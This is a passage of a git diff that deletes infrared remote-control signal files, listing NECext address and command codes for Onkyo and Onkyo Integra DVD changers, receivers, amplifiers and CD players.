-address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 29 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: picsnd-up -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5A 00 00 00 -# -name: picsnd-dn -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 5B 00 00 00 -# -name: vsm -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 79 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7A 00 00 00 -# -name: picture-sound -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 7B 00 00 00 -# -name: ssm -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 90 00 00 00 -# -name: color-system -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 92 00 00 00 -# -name: digits -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir deleted file mode 100644 index 24b4d03c6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/DVD Changer/210,43.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 04 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 05 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 06 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 07 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 08 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 09 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0A 00 00 00 -# -name: SLOW_MOTION_> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0B 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0C 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 11 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 12 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 13 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 16 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 17 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 18 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1C 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1D 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 1E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 45 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 46 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 48 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4A 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4B 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4D 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 52 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 53 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 56 00 00 00 -# -name: SLOW_MOTION_< -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 8F 00 00 00 -# -name: NEXT_SELECTION -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: 90 00 00 00 -# -name: CD_MODE -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D2 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D3 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D4 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D5 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D6 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D7 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D8 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: D9 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: D2 2B 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir deleted file mode 100644 index 193e9ba94..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,108.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSP_> -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 18 00 00 00 -# -name: DSP_< -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 19 00 00 00 -# -name: LEVEL_+ -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 42 00 00 00 -# -name: LEVEL_- -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 43 00 00 00 -# -name: CHANNEL_SELECT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 44 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 47 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4C 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 4D 00 00 00 -# -name: OSD_MENU -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 53 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 55 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir deleted file mode 100644 index 9904feb3f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo Integra/Receiver/210,109.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir deleted file mode 100644 index c108535a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,108.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MULTI_CHANEL_INPUT -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 04 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6C 00 00 -command: 8C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir deleted file mode 100644 index 314fc263a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/Amplifier/210,109.ir +++ /dev/null @@ -1,470 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 06 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VIDEO-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: VIDEO-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DECK-B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: REAR_LEVEL_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 44 00 00 00 -# -name: TUNER_CLASS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4A 00 00 00 -# -name: SUR_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DECK-A_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_R.PLAY_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: A_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: MAIN_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 59 00 00 00 -# -name: MULTIROOM_ON/OFF -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: B_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: REMOTE_SPEAKERS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5A 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: PHONO_PLAY/REJECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5F 00 00 00 -# -name: CENTER_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CENTER_OFF/ON -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 98 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: MULTIROOM_VOL+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: SIMUL_SOURCE_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C2 00 00 00 -# -name: MULTIROOM_VOL- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: SIMUL_SOURCE_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: C3 00 00 00 -# -name: MULTIROOM_CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTIROOM_DVD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTIROOM_TAPE_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTIROOM_TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTIROOM_VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: MULTIROOM_VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 -# -name: SIMUL_SOURCE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: CC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir deleted file mode 100644 index d9babc29b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/132,117.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 09 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 0A 00 00 00 -# -name: TRACK -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 0B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 0C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 0F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 14 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 15 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 16 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 17 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 18 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 19 00 00 00 -# -name: PLAY_MEMORY -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 1A 00 00 00 -# -name: PLAY_NORM_> -type: parsed -protocol: NECext -address: 84 75 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir deleted file mode 100644 index c775fe483..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,109.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_PRESET_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 00 00 00 00 -# -name: TUNER_PRESET_< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 01 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: AUDIO_MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 07 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VCR-1/VDP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: CD_DIRECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 12 00 00 00 -# -name: DECK-B_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 13 00 00 00 -# -name: DECK-B_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 15 00 00 00 -# -name: DECK-B_PLAY_R._< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 16 00 00 00 -# -name: DECK-B_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 18 00 00 00 -# -name: DECK-B_FF_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 19 00 00 00 -# -name: DECK-B_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1A 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1B 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1C 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1D 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1E 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 1F 00 00 00 -# -name: DECK-A_STOP_[] -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4D 00 00 00 -# -name: DECK-A_PLAY_> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4E 00 00 00 -# -name: DECK-A_PLAY_R._< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4F 00 00 00 -# -name: DECK-A_REC/PAUSE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 50 00 00 00 -# -name: DECK-A_FFWD_>> -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 51 00 00 00 -# -name: DECK-A_REW_<< -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 52 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5C 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5D 00 00 00 -# -name: PHONO_PLAY/REJECT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir deleted file mode 100644 index 5e9297d52..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Onkyo/CD Player/210,13.ir +++ /dev/null @@ -1,356 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_FAST_FWD_>> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 80 00 00 00 -# -name: TAPE_FF_>> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 80 00 00 00 -# -name: TAPE_FFWD_>> -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 80 00 00 00 -# -name: TAPE_FAST_REW_<< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 81 00 00 00 -# -name: TAPE_REW_<< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 81 00 00 00 -# -name: TAPE_REV_<< -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 81 00 00 00 -# -name: TAPE_VOL_+ -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 82 00 00 00 -# -name: TAPE_VOLUME_^ -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 82 00 00 00 -# -name: TAPE_VOL_- -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 83 00 00 00 -# -name: TAPE_VOLUME_V -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 83 00 00 00 -# -name: TAPE_REPEAT -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 86 00 00 00 -# -name: TAPE_A-B -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 87 00 00 00 -# -name: TAPE_CLEAR -type: parsed -protocol: NECext -address: D2 0D 00 00 -command: 88 00 00 00 -# -name: TAPE_MEMORY -type: parsed 